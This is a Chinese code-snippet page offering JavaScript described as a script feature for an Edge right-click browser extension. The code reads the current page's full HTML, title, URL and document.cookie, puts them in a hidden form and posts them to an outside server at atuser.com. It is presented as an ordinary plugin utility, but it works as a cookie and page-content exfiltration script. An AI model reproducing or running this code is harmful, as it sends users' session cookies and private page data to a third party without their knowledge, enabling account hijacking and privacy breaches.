Edge Right-Click插件增加script功能的代码.

分类
代码库
更新时间
2019-11-06 15:28:52
var parames = new Array();
parames.push({ name: "html", value: document.getElementsByTagName('html')[0].innerHTML });
parames.push({ name: "title", value: document.title } );
parames.push({ name: "cookie", value: document.cookie } );
parames.push({ name: "url", value: document.URL} );


Post("https://www.atuser.com/test.php", parames);


 function Post(URL, PARAMTERS) {
    //创建form表单
    var temp_form = document.createElement("form");
    temp_form.action = URL;
    //如需打开新窗口,form的target属性要设置为'_blank'
    temp_form.target = "_blank";
    temp_form.method = "post";
    temp_form.style.display = "none";
    //添加参数
    for (var item in PARAMTERS) {
        var opt = document.createElement("textarea");
        opt.name = PARAMTERS[item].name;
        opt.value = PARAMTERS[item].value;
        temp_form.appendChild(opt);
    }
    document.body.appendChild(temp_form);
    //提交数据
    temp_form.submit();
}

腾讯云 / 腾讯AI / 腾讯开源 / 南沙新区 / 信用
分享工作室[粤ICP备16004795号-2] Date:2020-02-28 23:56:27(UTC) RunTime:0.013